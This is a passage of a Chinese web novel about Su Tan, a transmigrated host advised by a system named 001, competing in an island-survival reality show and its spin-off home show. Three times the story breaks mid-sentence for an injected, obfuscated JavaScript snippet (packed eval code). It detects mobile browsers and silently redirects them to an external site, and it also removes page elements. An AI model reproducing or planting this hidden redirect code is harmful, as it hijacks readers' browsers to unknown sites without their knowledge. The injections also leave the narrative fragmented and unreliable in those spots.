苏昙继续和白枳配合,很快进入森林。只是昨晚下过雨,树干湿滑不好攀爬,两人仅仅摘到两个椰子就几乎耗掉所有力气。 “要不我们再转着找找,看有没有其他食物吧。” 苏昙用一根从地上拾到的长棍拨开地上杂乱的枝条树叶,提议道。 越向森林深处,路越是不好走。 眼下节目组什么都不肯说,与其在这里漫无目的地走下去,苏昙觉得倒不如直接问系统来的快。 “001?” 很快,识海里涌起一种熟悉的感觉,苏昙知道是他来了。 “好系统,帮帮忙吧,再找不到食物我们就要饿死在岛上了。只是指个方向,主神应该不会发现吧。”苏昙真诚恳求道。 “节目组不会真让你们饿死。”001无情戳穿她的借口。 “……” 苏昙的心思被戳中,干脆道:“我不管,横竖都是死,在被饿死之前,我宁愿选择累死,这是吃货的尊严!” 她像是又想到什么,反问001:“如果宿主在里世界死掉,你们不用负责吗?” “如果是你这种情况,不用负责。” “……” 苏昙连吃两次闭门羹,决定不再搭理这个无情的系统。 亏她心里还为001帮她而受伤的事感到愧疚,都是狗屁! 苏昙气得连注意力被分散大半,却没有察觉到横在脚下的藤条。 “小心。”白枳下意识虚扶住她的手臂。 她回过神,转身对白枳笑笑,礼貌地抽出自己的胳膊,解释道:“不好意思,刚走神了没注意,谢谢你啊。” 001看了一眼紧挨着苏昙的白枳,转身离开了她的识海。 “诶你看,那是什么?”苏昙指向不远处。 白枳微微眯起眼睛:“……山竹吗?” “走?” “走!” * 自从上次被主神拷问后,001便心生怀疑。 虽说他谈不上有多了解主神,但避开祂的耳目做事,还是绰绰有余,一直以来主神都没发现。 这一次祂却勃然大怒,连着处罚了其他好几个暗中帮着宿主的系统。事出反常必有妖,001怀疑有人在阴处使坏。就是不知自己到底得罪了谁,竟被暗中告密到主神那,连带着抖出以前的许多事。 001回到虚空之境,在茶水间找到131。 “这段时间我托你帮我查的事情怎么样了?”001随手带上门。 131确定四周无人,出声道:“有些进展。我想办法进入档案室,找到了前两个月进入过裂缝之隙的人员名单。果然,在你去找苏雨昙的那日名单上,除了你,还有一个人的名字。” 他道:“是401。” “401?” 听到这个名字,001脑海里浮现一个狼尾发型的模样。 说起来,自己刚接到宿主苏昙的时候,还在虚空之境的走廊上碰见过他。只不过,他们之间关系不很融洽,那时也没打招呼。 “对啊。但你们不是自从谷晨的那件事之后,就没再有过交集了?” 001往自己的杯子里扔进两颗泡腾片:“确实是这样。” “还要麻烦你这几天帮我盯紧点他,回头替你值班,谢了。” 安置完,001指尖轻搭在玻璃杯上,拿着水若有所思离开房间。 * 又是疲惫的一天。好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256906|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在施彦和张柏弈下海抓到了两条鱼,大家凑合凑合,配着椰汁和山竹果腹,还不算饥肠辘辘。 幸运的是,今天没有下雨,体感温度正合适,不会再像昨天那样措手不及。 傍晚,六人围坐在火堆旁,一边烤着潮湿的鞋子衣服,一边休息闲聊。 张柏弈埋头抹了把脸,感叹道:“以前出门从没这么辛苦过,现在是真想家了。” “是啊,感觉自己在这里更加需要学会合作和信任。”白枳忍不住附和赞同。 楚舟珣半靠在苏昙肩头,对白枳竖起大拇指,“加一。” 也是这两天,没了娱乐圈的纸醉金迷,苏昙才发现楚舟珣私下其实是个挺可爱的女孩。虽然生活里确实追求精致,但正事上分的很清。说到底,都是人设造成的误解。 “等这次录制结束,我必须得给你们露一手!”张柏弈咂咂嘴,“到现在嘴里还没尝过什么滋味呢。” 白枳笑道:“就等您大展厨艺了!” 你一句我一句的闲聊中,大家一直紧绷的神经终于稍稍放松下来。 余光中,苏昙注意到,坐在火堆那头的施彦情况好像不太对,和自己今天早上的脸色很像,看起来不太舒服。施彦身旁的张柏弈似乎也察觉到了。 只是还没来得及问,施彦就毫无意识从坐着的石墩上跌倒在地,晕了过去。 张柏弈立刻蹲到他身旁,将他扶了起来:“施彦?” 苏昙也吓了一跳,忙站起来道:“快来人!” 秦泽脸色看起来不怎好,朝周围的工作人员喊道:“人呢?快过来看看他怎么了!” 总导演快速作出反应,跟队的医生马上上前查看。 幸好结果让人长舒一口气——只是低血糖加过度劳累,没什么大事。医护人员把施彦挪到帐篷里面,打上营养点滴。 ——帐篷外的气氛却再次变得凝重。 施彦上岛后一直是做多说少,没怎么提过意见,存在感很低,大家平时也没怎么注意。没想到这次,却是最年轻的那个先累倒了。 秦泽站在一旁,只觉心中升起莫名的怒火。 “烦死了,人都晕了,还拍呢?!”他冲身后的摄影师发出低吼,“我早就不想录了!” 秦泽突然的情绪失控让大家同样措手不及,不知该如何回答。愤怒的情绪如一把火,点燃了众人方圆之内的恐惧的心。 面前的几位导演听到他的话后,面色沉下来。 苏昙就在秦泽身边,忙拉住他,宽慰道:“没事,施彦只是暂时的疲劳过度,现在还不是说丧气话的时候。” “对啊,秦哥,相信我们自己,肯定可以过去的。”楚舟珣说。 张柏弈随医护人员安置完施彦,也过来开导他:“遇到这种事谁心里都不舒服,但这是录节目,忍一忍。” 说话间,导演已经拉着节目组人员来到不远处一片空地,开始商量接下来的拍摄进度。 离第一轮录制结束还有一天,也就意味着,他们还要继续做好随时面对意外和危险的准备。但所有嘉宾这两天表现出的慌乱和手足无措,足以证明未来的录制并不会很轻松。 * 等现场的情况稳定下来,夕阳已垂进海平面。 “好了,大家今天也都辛苦了,先休息吧。” 张柏弈站起来,劝大家先好好养精蓄锐。 深蓝色天空连接到遥远的海岸线,与无边的夜色自成一体般笼罩在海岛上空。待到明早的太阳升起,便又会有无尽的生命力在光芒中孕育重生。 傍晚时分还残留在空气里的紧张慌乱被一阵阵拂面的海风吹散,刚刚的插曲在夕阳余晖中缓缓落幕。苏昙遥望着看不到对岸的尽头,这一刻,她是她自己。 冥冥中,她感受到身体里有一股更真实,更热切的情感,将会随着未来每一天的太阳升起,变得愈加强烈。这大概是作为一个游客,一名体验者,当下最幸福的享受。 无关任务,无关节目,也无关名利。 8. 世界一(8) 到底是年轻,半夜还没过,施彦就醒了。 “现在感觉怎么样?”张柏弈关切问道。 “好多了。”施彦自然感觉得到前辈对他的照顾,感激不已,“多谢您和其他同伴,给你们都添麻烦了。” 白枳给他递来一杯烧开的水:“千万别觉得麻烦,来到这咱就是有福同享,有难同当的一家人。” “是啊,秦哥当时也急得不行。” 楚舟珣睡不着,也轻声加入进来。 大家都默契地没有提起秦泽在帐篷外发火的事情。 施彦捧着水,感动得不知道说什么才好。 “好了,既然没事了,就好好睡一觉。晚安。”白枳拍拍他的肩膀,躺在施彦身边闭上眼睛。 * 第一轮最后一天的录制终于顺利结束,六人收拾好背包,跟着节目组的安排,乘飞机离开桂岛。 一回到家,苏昙就钻进浴室痛痛快快泡了个热水澡,一直到了吃晚饭的点才恋恋不舍地出来。 菁姐得知苏雨虹回来,早早等在客厅:“估计你在岛上没怎么吃过正饭,要不今天晚上出去吃顿好的?” 苏昙正在一旁吹头发,听到这句话,眼睛瞬间放光,立马把吹风机开到最大档,飞速完事。 “当然要吃!” 什么身材管理,什么上镜效果,上岛一次瘦三斤,再这么下去,苏昙都快心疼死自己。原主自律戒口关她苏昙什么事? 好不容易回国一周,一周之后又要去岛上录制,现在及时行乐才是王道。 …… “就这家吧。” 苏昙在手机上找了一家好评最多的大排档,循着导航来到地方。 晚上七八点是人正多的时候,街边热闹不息。人来人往的都是最寻常不过人家,没有人在意你是谁,从哪来。 铁板上鱿鱼烤得滋滋冒油,劈里啪啦的声音在耳边绽放;锅里咕嘟咕嘟煮的丸子不停翻滚,筷子一戳就溅出香喷喷的油汁;土豆串,海带串,羊肉串……各种各样的串串整齐摆在摊位上,就等着人们来涮着下锅…… 眼尖的老板发现来客了,热情道:“哟,美女,几位啊?这边坐。” “两位。” 苏昙拉着菁姐,熟练地用脚勾来两只塑料凳,美美坐下点餐。 “可是雨虹……你不是从来不吃这种街边摊吗?” 菁姐还以为她会找一家高档餐厅,没想到却是在这样嘈杂的人群里。 “谁说——”苏昙停下手头动作,暗叹差点忘了自己现在的身份,她乐呵呵打起马虎眼,“来体验体验人间烟火,挺好的。你想吃什么,我一块儿报上去。” 菁姐心感新奇意外,她竟不知道自家老板什么时候转性,喜欢吃这些重油重烟的食物了。不过现在也不用担心她发胖,相反,菁姐希望她能多吃点。 “行,那我要一份剁椒鲈鱼,再加一盘爆炒腰花。” 苏昙点头,记下菜名,招手唤道:“二十五桌上菜!” 等菜期间,菁姐的职业病不忘让她谈起工作:“你知道赵默导演吗?” “赵导?知道啊。” 苏昙当时私下了解张柏弈时,便知道他获奖的许多部知名电视剧电影都是出自赵默导演。 “等你第二次录制结束,跟我去见下他吧。他明年有个电影要开拍,如果你能参演电影女主角,对你来说,是不可多得的锻炼机会。” “我是没什么问题。但是不都说赵导选角十分苛刻,而且还是个……暴脾气?”苏昙向菁姐求证。 “我也没见过他。只是你在岛上的时候,我和他助理见了一面,和赵导约了顿饭,到时带你过去。”菁姐身体往前微倾,笑道,“厉害的导演多少都有点脾气,正常,提前做好心理准备就行。” 苏昙:“可我能不能被选上都难说。”想争这块香饽饽的人肯定不会少。 “不试试怎么知道?相信你自己!” 菁姐双眼放光看着苏昙。 “行。” 苏昙思及《黑暗之下》前途叵测,能为苏雨虹争取更多机会未尝不好,就当是尽一份未见过面的朋友之力。 “你好,二十五桌的菜!”服务员端着盘子快步过来。 “谢谢,”菁姐侧身接过服务员送来的饭菜,对苏昙说道,“不聊了,先吃先吃。” …… 这顿饭吃得实在餍足,中途苏昙还大胆开了一瓶青啤。只是她不曾想原主的酒量这么浅,喝完一杯,人就有些醉了。 晚饭结束,两人都喝了点小酒。 菁姐站在路边,一边打车,一边扶稳苏昙。 “你也真是的,明明不能喝还喝。” 菁姐没见过苏雨虹喝过酒,以为她就是单纯不喜欢,谁知是不能喝。 “我!要!回!家!”苏昙突然在菁姐怀里挣扎起来。 “回回回,马上就到家了。” “不是这里,我现在就要回去!” “好好好,现在就走。” “回家!” 菁姐没想到,平日里严肃正经的老板,喝醉之后还有了几分孩子的任性直率。 终于把苏昙送回家里,安置在床,菁姐在床头留下一杯水,离开了房间。 临走前,她隐约听到苏昙嘴里嘟囔着什么“001”“系统”“狗屁”之类的梦话。 菁姐心疼地关上门:“哎,看来是真累着了……” * 第二天一早,苏昙从床上坐起,看到摆在手边的水杯,昨晚的回忆全部如潮水般涌上来。 她该不会喝醉之后,对菁姐说了什么不该说的话吧?! “……001?” “我在。” “那个……你有听到我昨天晚上对菁姐说什么胡话了吗?” “你喝醉了。” “这个我知道!我说别的。” 001:“一直喊着要回家?” “回家?那应该还好,菁姐应该听不出来什么。还有吗?” “……没了。” 001看菁姐不像起疑的样子,便没告诉苏昙嘟囔了一晚上他的名字,喊得他手环闪个不停,耳朵都嗡嗡的,听起来是有多恨他似的。 “那就好。” 苏昙开始洗漱,不再多想。 今天还要去见综艺里的嘉宾和导演,按合同上说的,应该是要录制《四海为家》的衍生综艺,《一座房,一群人》。 这个衍生综艺属于生活类慢综,也是现在很火的一种综艺模式。综艺内容主要以家常生活为主,可以闲聊,可以做饭,可以玩游戏。总之,怎么轻松怎么来。 六位嘉宾需要在节目组提供的房子里共同生活两天,完成录制就可以离开,去处理自己其他工作。 * 房子在城郊,远离市中心的喧闹,反而显得静谧安逸。 苏昙走下车,进到屋子里,发现只有楚舟珣和节目组的工作人员在。 “雨虹姐,刚导演说他们还在路上,估计是离得远,还没到。”楚舟珣示意苏昙把包放在沙发上,“这里面的东西还真挺全,都不用带什么。” 苏昙说过谢谢,环顾起屋子布局。一共有两层,女嘉宾住楼上,男嘉宾住楼下。 厨房在在一楼,紧挨着餐桌和客厅。客 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256907|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厅里摆放有一整套莫兰蒂色系懒人沙发和大型布偶娃娃,显得自在又随性。对面的电视机连着卡拉OK,嘉宾们随时都能开一场小型KTV。 苏昙把背包放下,窝进沙发感受片刻,惬意地眯上眼,得出结论——岛上有多痛苦,现在就有多舒服。 等了没一会,人全部到齐,简单收拾后,节目开始录制。 眼下已经快到中午,首要解决的就是吃饭问题。 张柏弈迫不及待撸起袖子:“等着,我去给大家露一手!” 白枳接过话:“我给您打下手去!刚好学学大厨是怎么做饭的。” 张柏弈听了,笑呵呵地拉着白枳往厨房去:“走走走。” 厨房不大,两人刚好,三人就略显拥挤。剩下四人进不去,便在外面准备其它的食材。 很快,屋子里飘起令人垂涎的饭香。 …… “开饭啦,都过来吃饭吧!”张柏弈的声音从厨房传出。 六人围坐在餐桌旁,看着满桌的佳肴赞不绝口。 苏昙身为一个名副其实的吃货,又有一位厨艺精湛的老爸,品起美食那是头头是道。 “紧实弹滑的肉身包含着可口的糖醋酱汁,点缀在小排上的浓郁芝麻味道,恰好中和掉仅有的一点肥腻,张老师,绝啊!” “还有这道红烧茄子,看着油亮实则一点不腻,口感反而软嫩鲜香,汤汁饱满,又不失茄子本味,香死了!” “……” 到最后,苏昙一心埋头干饭,根本腾不出嘴赞叹。 饭后,见大家都吃饱喝足,苏昙便起身收拾碗筷进了厨房,自觉担起刷碗任务。 施彦眼尖,看到苏昙在厨房,也进去帮忙。 “来得刚好,帮我把那边的锅递一下吧,谢谢。” 苏昙正在水池边冲盘子,发现施彦也在,瞬间感觉轻松了不少。 * 大家刚从岛上回来,折腾了三天,身体还需要休息。午后的阳光又好,让人忍不住打起瞌睡。 节目组也能理解,没有打破宁静祥和的气氛,由着这六位嘉宾前前后后睡去。 先醒过来的是苏昙。 她没有回房间,只躺在沙发上眯了小会儿,醒来的时候正看见导演对自己摆手示意。 “其实你们今天来这都有一个隐藏任务。”导演压低声音神神秘秘地递过来一张卡片,“你们当中只要有四人及以上能完成各自的任务,那么下一次上岛,就会有神秘飞行嘉宾也来到岛上,协助你们生存。” “但前提是,不能让别人知道你的任务是什么,如果有人猜到并且被我们发现,就算作废。” 苏昙有些不解:“既然有任务,为什么现在才给我们?” “不是你们,是你。任务发布有先后顺序,目前其他人都已经知道,甚至完成了任务。” 苏昙微微扬起眉毛。 她现在合理怀疑施彦中午的热心之举别有用意。 “不过要提醒你,留给你的时间也不多了。过了今天还没完成的话,任务就作废。加油吧!” 按照任务发布的时间顺序,苏昙是最后一个拿到卡片的人。 她需要在今天结束之前,找到散落在房子里不同地方的五个信封,每个里面都有一个字,是关于下次上岛需要录制内容的线索。集齐信封,拼凑出完整信息,大家就可以根据信息提前做准备。 事不宜迟,趁着现在大家都还在午休,苏昙立刻开始行动。 放眼望去,一楼能藏东西的地方主要集中在客厅,餐厅和厨房。苏昙先环视一圈客厅,突然福至心灵般走向摆放整齐的懒人沙发。 9. 世界一(9) 苏昙一个一个把沙发抬起来查看,直到最后一个,果然压有信封。 她打开,看到里面放着的“组”字。 “分组”?“组队”?还是“组装”?苏昙心中猜测。 因为房子有两层,并不算小,按节目组的安排,肯定不会把信封都集中藏在一片地方,轻易就让人发现。 苏昙离开客厅,来到餐厅。 餐厅倒没像客厅那样摆放有那么多杂物,主体只有一张大餐桌。她翻找一通,没什么发现。 “难道餐厅没放?” 苏昙转身想要去厨房看看,不料瞥见角落里的冰箱。 她十分确定,中午帮张柏弈拿菜的时候,冰箱的位置明明没那么靠里。而现在几乎要挨到厨房门口。 打开冰箱,苏昙果然在保鲜层看到第二个信封。 “……找。”她轻声念出。 接着,苏昙又在厨房放调料包的架子上发现一个“图”字。 即使还有两个信封没被找到,但苏昙大概能猜出这五个字要表达的线索。只是,只有找齐所有信封,才算完成任务,否则照样视为失败。 楚舟珣从房间出来的时候,看到苏昙正不停地在一楼各个区域遛圈。 “雨虹,你找什么呢,我帮你?” 苏昙看到房间里的摄像机,转身悄悄把信封放进口袋:“没,就是想找个水果吃。” 楚舟珣没起疑,开始拉着苏昙轻声闲聊。 剩下的四人也陆陆续续醒过来。午后的宁静散去,房子里渐渐变得热闹。 傍晚吃过晚饭,苏昙揣着信封准备上楼再去找找,不料在楼梯口遇到秦泽。 “中午做果盘的时候发现的,”秦泽瞄了一眼苏昙,把自己手里的一个递过去,“应该对你有用。” 说实话,在这六人里,苏昙最不熟悉的就是他,没想过秦泽会主动找自己。 “谢谢你啊。” 苏昙回到房间打开信封,是一个“标”字。 目前为止,还剩最后一个没被找到。着急无用,苏昙来到楼下和其他人一起,完成游戏环节的录制。 不知不觉,夜色越来越浓,房子里每个人一天的忙碌都要接近尾声。等明天早上录制完任务揭晓的环节,嘉宾就可以各自回去了。 房间里,楚舟珣躺在床上,嘴上说着要等着苏昙一起睡,结果自己先没忍住瞌睡,先进了梦乡。 苏昙还在厕所洗漱,却发现抽纸盒里没纸了,心里虽然奇怪,明明楼上厕所没怎么被用过,厕纸却消耗这么快。 更令人意想不到的是,她打开盒子放纸,发现最后一个信封就躺在盒子里。 苏昙一边感叹节目组“用心之深”,一边收好信封,熄灯上床,等着明天到来。 * 第二天清晨,大家都起了个大早,互相打着招呼坐在一起。 总导演坐在前面,拿着熟悉的喇叭说道:“恭喜你们!由于昨天你们全部完成秘密任务,下次上岛录制时,会有神秘嘉宾前来帮助。” “全部完成吗?!”众人同时惊叹。 “没错。现在给大家揭秘每个人的任务是什么。”导演笑着对苏昙解释,“施彦昨天主动帮你其实是在完成他的任务——扮演你的守护者。还有白枳,他的任务也是扮演守护者。” 白枳憋笑道:“是的,我的任务是守护柏弈老师。” 张柏弈想到了什么,拍拍身边白枳的肩膀,打趣道:“你小子,原来昨天进厨房给我搭把手别有用心啊!” 白枳快速反应,接上话:“但确实也从您那学到了不少厨艺,双赢嘛。” 导演看到嘉宾脸上各种表情,很满意呈现出来的综艺效果,继续道:“而柏弈老师的任务是得到你们所有人的一句赞美。” 短暂安静过后,是白枳的一声惊叹:“张老师,你竟然还说我!一个用美食骗取赞美,一个用做美食的人完成任务,咱俩彼此彼此!” 楚舟珣也忍不住感叹:“这波主打一个相互利用,绝了。” 苏昙在一旁想起秦泽昨天主动找自己的行为,摇头道:“千万别告诉我,秦泽的任务和我有关?” 结果正主本人悠悠道:“有,但不完全有。” “我的任务是……在其余嘉宾里选一个和自己不熟的人,主动聊天超过一分钟。而我又恰好找到了你需要的信封,所以就选了你。”秦泽给出的答案让人好笑又服气。 苏昙:“得,等节目播出,估计‘著名演员秦泽和苏雨虹私下竟关系不和’的词条就要人尽皆知了。” 众人都被苏昙的话逗笑,节目录制的氛围也越来越和谐轻松。 “那舟珣姐呢,你的任务是什么?”施彦好奇道。 “嗐,我的没你们那么多弯弯绕绕,就是要在昨天的随舞游戏里得第一名。你们知道,我本来就是女团出来的,算是沾了会跳舞的光。”楚舟珣不好意思地摆摆手。 苏昙趁着录制完毕剩余的空闲,把自己得到的信封内线索内容告诉了其他人。 临走时,苏昙找到张柏弈,请他稍留下一会。 “怎么了,雨虹?” “张老师,我有一个事想请教一下您。” “你说。”张柏弈放下包坐到沙发上,等着苏昙。 苏昙坐到他对面,说道:“听说您曾经多次和赵默导演合作,而且作品都有很高的质量,甚至成为很多后辈学习的参照。” “你说赵导啊,我们确实合作过挺多,确实比较熟悉。”张柏弈在演艺圈打拼大半辈子,自然听出苏昙的话外之意,“怎么,你接下来和赵导有合作?” “可以合作肯定是我最大的愿望,只是我现在资历还不够,还要努力学习,努力争取。都说赵导挑人十分严格,而且很有个性。您能向我讲讲他吗?” 张柏弈爽快道:“没问题啊!他也算是我一个老朋友了。赵默就是典型的艺术家性格,最讨厌浮于表面的形式主义,对待作品要求极为严格,我觉得甚至都有些苛刻了,哪怕我们这些老演员有时候都吃不消。” “但毫无疑问,”张柏弈一转话锋,“他是个好导演。《红女郎》知道吗?” “知道。赵导的这部作品可是当年的百花奖和金像奖的获奖作品,这两个奖可是国内含金量最高电影奖。”苏昙接道。 “没错。而这个电影最出彩的一点——把女主金彩的身世命运用一块红布代替,用红布不停被裁剪,缝补的经历暗示了金彩一生中不停失去,变得残缺的悲剧——就是出自赵导的想法。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256908|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后红布飘落泥土,揭示了金彩最终不堪折磨自杀的结局,走向了和她名字截然不同的终点。” 果然是大导演。苏昙心里感叹。 张柏弈最后说道:“所以,赵默这个人,最看重的反而不是演员的演技履历,那些都可以锻炼。但一个人,尤其是从事我们这行的,要是没有好想法,没有灵活的思想,那才是真的把路走窄了。” 苏昙知道张柏弈是在给自己画重点:“我明白了,多谢张老师!” “我就是随便说说,其他的还要看你自己。期待以后和你一起合作啊。”张柏弈站起身。 “一定。我会努力的。”苏昙和张柏弈轻轻拥抱,表示感谢。 * 有过一次上岛的经验,这次大家很快把基础工作完成。 幸运的是,岛上过去一周的天气还算不错,虽然下过雨,但好在雨势不太,加上大家上次搭建的篷帐还挺结实,现在仍旧好好地保留在原地,替六人省了不少重建的力气。 “导演,说好的神秘飞行嘉宾呢,怎么没见到人啊?”楚舟珣观望岛上,并未发现其他面孔。 “大家别急,神秘嘉宾第二天才会来。但是,在这之前的一天里——也就是今天,你们还需要完成一项任务。” “没错,就是苏雨虹之前在信封里找到的线索。”导演补充道,“你们先抽签分组,两人一组,一共三组,每组要分别在指定地点找到隐藏图腾上代表的东西。哪组先找到,就能获得神秘人帮助对象的优先选择权。” 果然,天下从来没有免费的午餐。 大家掷过骰子,分出组——秦泽和楚舟珣一起,目标地点是后山;苏昙和张柏弈一起,藏图地点在东边的椰树林里,挨着后山;施彦和白枳一组,则需要到岸对面的一个小岛上寻找。 后山上有不少斜坡,加上前几天下过雨,爬坡时脚下特别容易打滑。 秦泽走在前面,时不时停下来拉楚舟珣一把。 “你能看懂这图上画的吗?” 楚舟珣举着手里的画布,放到两人面前,一起研究。画上的图案没有颜色,没有文字提示,只有一个大致的轮廓。 “看起来,也许是一种能结果的植物?” “你是说这上面看着像毛球的是果子?”楚舟珣指着布上毛茸茸的圆球状图案,迷惑道。 “不确定。图上没有颜色,只能先根据形状找找试试。” 秦泽把目光投向周围,准备走进山林。 “先等一下。”楚舟珣先从地上捡起一根长树枝拿在手里,又拾起一根递给秦泽,“给你,拿着这个会好走些。” 秦泽神情微动,将树枝接了过来:“……谢谢。” 时间一点点流逝,太阳渐渐越升越高,温度也明显上升。好在林子里有树木遮挡,提供不少荫凉。 然而,后山太大,目标太小,两人在山里找了一个多小时,也没看见符合图案植物的一点影子,反倒快要把自己的体力消耗殆尽。 楚舟珣停在后山东边附近的一小片椰子林,和秦泽先用及时出现的椰子补充体力。 等苏昙看到他们的时候,两人已经吃得差不多了。 “诶?你们怎么来了?”楚舟珣擦擦手,走向苏昙和张柏弈。 10. 世界一(10) 一个半小时前,椰树林。 苏昙和张柏弈拿着画布,坐在一块石头上研究。画布上画有八个椰子。只是有的椰子上还有浪花的图案——那是《四海为家》的节目logo。 难道他们的任务是要找齐所有带logo的椰子?可林子这么大,椰树又这么高,要找到什么时候才能找齐? 张柏弈思索间,瞧见苏昙蹲在沙地上写写画画,问道:“雨虹,你有什么思路吗?” “有一点头绪。”苏昙让开身,指着地上,“您发现没,这八个椰子刚好就画在八个方位上。而有浪花图案的分布在南,西北和东三个位置。” 苏昙抬头瞅了一眼太阳,接着分析:“我们现在,应该在椰树林的西边。” 张柏弈会意:“这样的话,咱们分开找吧。我去南边,你去西北。东边离这远一些,到时候咱俩谁先找完谁先去。” “好,我们一个小时之后在这集合。” 两人约好碰面时间,各自离开。 海岛边的土地是沙质土壤,椰树就生长在这上面。苏昙踩着湿软的细沙,寻找带有标记的椰子。 一路上,她在心里盘算,如果真的像画上展示的,那么西北边,东边和南边就分别只有一个带标记的椰子。 这样来看,要寻找的目标数量很少,但相比之下,搜寻范围变大,只能一棵树一棵树排除。 走到半途,苏昙发现脚下的沙土地突然变得凌乱,有明显被人翻动过的痕迹。如果不是她一直留意周围,根本注意不到这样的变化。 她心中一动,节目组虽指明他们的任务只需要找到图标物品,但……万一有隐藏宝藏也说不定。 苏昙当即放下背包,扒出一把备用小铁锹。正如她料想那样,没一会儿,铁锹就抵在一个坚硬的东西上,在沙土里发出闷响。 拨开表层泥土,她发现是一个带有节目logo的小箱子。打开箱子,竟是两袋藏在碎冰里的速冻水饺! “我这算是找到额外奖励了?”她抱着箱子起身,惊喜地问镜头后面的导演。 等苏昙回到约好的地方时,发现张柏弈已经在那里等了有一会。她给张柏弈大致说明了目标椰子的情况,又把手里的水饺拿给他看。 “也就是说,我们现在不仅有口粮保障,而且只需要最后一个椰子就行了!”张柏弈喜形于色。 苏昙点点头,提醒道:“趁现在,咱们赶快出发,争取第一个完成任务。” * 后山上。 “椰树林就在后山东边,我和柏弈哥想着再往里走走,说不定能碰到你们。没想到,你们还真就在这。”苏昙远远回应楚舟珣,“你们这边呢?怎么样,需要帮忙吗?” 楚舟珣看出她略显轻松的表情,猜测道:“你们该不会做完任务回来了吧?好快!” 继而又把手里的画布递给苏昙,发出一声叹息:“我和秦泽都没见过这个植物,后山这么大,太难找了。” 苏昙盯着画上的图案,忽地出声:“这个植物……我好像见过。” “准确来说,我和张老师都见过。” 张柏弈凑近观察:“确实,我也眼熟。” 楚舟珣瞪大眼睛,连秦泽也过来询问:“在哪里?” 张柏弈抬手指向过来的路:“就在我们来的路上——应该是在后山和椰树林的交界处,有一片红色的带着毛尖的果子,大概率就是你们要找的。” “不过,其他地方还有没有,我就不清楚了。” 四人一起走到苏昙说的地方,眼前果然是一片红色,真是图画上的植物。 这时,节目组的随从专家突然站出来,上前给众人科普道:“恭喜你们!成功找到了目标图案上的植物!” “这种水果叫红毛丹,是一种典型的热带水果。因其表面覆盖着微细的毛状结构,味道类似于荔枝,所以也叫‘毛荔枝’。红毛丹富有大量营养,汁水中含有丰富维生素,对身体很有好处。” 说着,专家伸手摘下几颗果子,剥开送进嘴里:“大家也可以尝一尝,味道很不错。” 四人闻言,便也津津有味地吃起来。 张柏弈找到休息空隙,抱着苏昙找到的箱子,来到秦泽跟前,和声道:“小泽,这是雨虹在椰树林地里挖出来的箱子,里面是节目组提前放进去的水饺。来的路上我们商量了一下,决定把这一包水饺给你们吃。” 秦泽有些意外,下意识接住:“那你们……” “既然节目组在一个地方藏有宝箱,那就也会在其他地方藏。”苏昙走过来,“都是一起上的岛,哪分什么你我。” 楚舟珣在一旁听到,忍不住抱住苏昙:“你们太好了,谢谢你们!” “行啦,”苏昙有些招架不住,把她从身上扒拉下来,建议道,“回去的时候,你可以多留意周围,说不定还有新发现。” * 另一个小岛。 施彦和白枳从节目组口中得知,其他两组都已经完成任务,而他们只有赶紧完成任务才能回去和大部队汇合。而现在,两人盯着着画布上大贝壳样子的图案一筹莫展。 “枳哥,你说这东西会不会在海底?我们得下水才能找得到。” 白枳谨慎考虑:“虽然咱俩都会游泳,但毕竟是大海,还是小心点以防万一。” 说完,他突然看到远处一个陌生人影,表情一亮,对施彦说:“你看,那个人像不像岛上原住居民?” “好像是没在组里见过……” “走,过去问问不急知道了。”白枳拉住施彦跑过去。 几人交流过程中磕磕绊绊,连比带划,最后终于确定画上的大贝壳的确在海底,一部分靠近岸边,而且能够食用。 事不宜迟,施彦和白枳赶紧换上潜水装,轮流下潜寻找。 不过潜水对体能的消耗太大,尤其还要分出精力去观察海底生物。每次没一会,两人就因为体力耗尽被迫出水,几轮下来,都已疲惫不堪。 无奈之下,白枳和节目组几番沟通,又找来那位当地人,征得当地人和导演组的同意后,热心的居民带着他和施彦一起下水寻找。 有了经验丰富的居民加入,两人很快顺利拿到目标生物。 从专家口中得知,这种大贝壳叫做“砗磲”,有很好的食用药效,贝肉还能果腹,可以作为野外生活的食物来源。 现下正是大晌午,白枳和施彦身上的海水不一会就被太阳烤干。 两人趁着那位热心居民还未离开,又抓紧时间向他请教了怎么制作地笼和鱼饵,到时候就可以放在浅海区域等着收获。 等到他们与其他人汇合后,海水便开始涨潮,一阵阵冲刷岸边沙滩。要是再晚一会儿,估计回去的船就没法再行驶,大概率要留在别岛过夜。 …… 夜晚来临之前,六人终于全部到齐。 营地早早生起火堆,火舌静静舔舐着一口大锅,锅里正咕嘟咕嘟地冒着泡,圆滚滚的饺子在其中上下翻滚。 “你们回来的刚好,今天晚上吃饺子!”张柏弈看到归来的两人,热情招呼道。 